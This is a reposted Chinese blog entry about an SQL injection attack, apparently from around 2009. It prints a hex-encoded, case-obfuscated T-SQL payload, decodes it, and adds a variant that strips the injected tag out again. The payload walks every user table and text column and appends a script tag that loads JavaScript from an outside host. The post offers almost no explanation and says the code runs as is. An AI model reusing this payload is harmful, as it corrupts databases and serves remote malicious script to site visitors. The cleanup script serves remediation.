SQL注入(转载)

http://www.cnblogs.com/Ryu666/archive/2009/07/28/1533248.html

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);

可以直接运行
ContractedBlock.gifExpandedBlockStart.gifCode
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name 
From Sysobjects A,Syscolumns B Where A.Id
=B.Id And 
A.Xtype
='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167
Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C
 While(@@Fetch_Status
=0) Begin Exec('update ['+@T+']
 Set ['+@C+']=REPLACE(Convert(Varchar(8000),['+@C+']),''<script src=http://8f8el3l.cn/0.js></script>'','''')
')Fetch Next
 From  Table_Cursor
 Into @T,@C End Close Table_Cursor Deallocate Table_Cursor


ContractedBlock.gifExpandedBlockStart.gifCode
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name 
From Sysobjects A,Syscolumns B Where A.Id
=B.Id And 
A.Xtype
='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167
Open Table_Cursor Fetch Next From  Table_Cursor Into @T,@C
 While(@@Fetch_Status
=0) Begin Exec('update ['+@T+']
 Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))
+''<script src=http://8f8el3l.cn/0.js></script>''')Fetch Next
 From  Table_Cursor
 Into @T,@C End Close Table_Cursor Deallocate Table_Cursor

转载于:https://www.cnblogs.com/gwazy/archive/2009/07/30/1534668.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值